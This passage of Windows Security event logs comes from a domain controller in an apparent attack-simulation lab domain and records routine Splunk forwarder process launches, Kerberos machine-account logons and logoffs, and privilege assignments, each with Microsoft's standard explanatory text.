	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1250
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:10:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256275
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3DDFE1

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:10:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256274
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3DDFE1
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		51395

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:10:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256273
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3DDFE1

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:11:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256276
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc48
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:11:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256278
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc7c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:11:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256277
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x464
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:11:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256280
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb38
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:11:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256279
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x444
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:11:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256281
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf04
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:11:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256282
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd84
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:11:26 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256284
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3E0A7E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{1315B027-D61C-A152-E46C-74A6DCC39304}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		51402

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:11:26 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256283
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E0A7E

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:11:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256285
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E0A7E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:11:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256288
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E16BD

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:11:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256287
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3E16BD
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		51409

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:11:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256286
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E16BD

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:12:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256294
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E19D8

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:12:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256293
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3E19D8
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		51413

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:12:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256292
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E19D8

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:12:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256291
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E196C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:12:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256290
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3E196C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		51412

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:12:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256289
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E196C

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:12:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256295
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5f0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:12:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256303
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf90
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
